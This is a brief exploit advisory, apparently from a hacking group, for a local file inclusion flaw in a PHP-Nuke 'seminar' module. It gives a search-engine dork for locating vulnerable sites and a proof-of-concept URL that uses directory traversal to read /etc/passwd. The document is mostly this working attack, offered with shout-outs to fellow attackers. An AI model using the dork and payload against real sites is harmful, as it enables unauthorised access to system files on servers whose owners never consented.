Aria-Security Team (Persian Security Network)

http://Aria-Security.net

-----------------------------------------------

Shoutz: AurA, Null, Kinglet, imm02tal And all our staff

PHP-Nuke Module "seminar" Local FIle Inclusion

Original Advisory: http://forum.aria-security.net/showthread.php?p=1591

Hint:inurl:"modules.php?name=seminar"

PoC

modules.php?name=Seminars&op=showSpeech&fileName=../../../../../../../..
/etc/passwd

Regards,

The-0utl4w

[ reply ]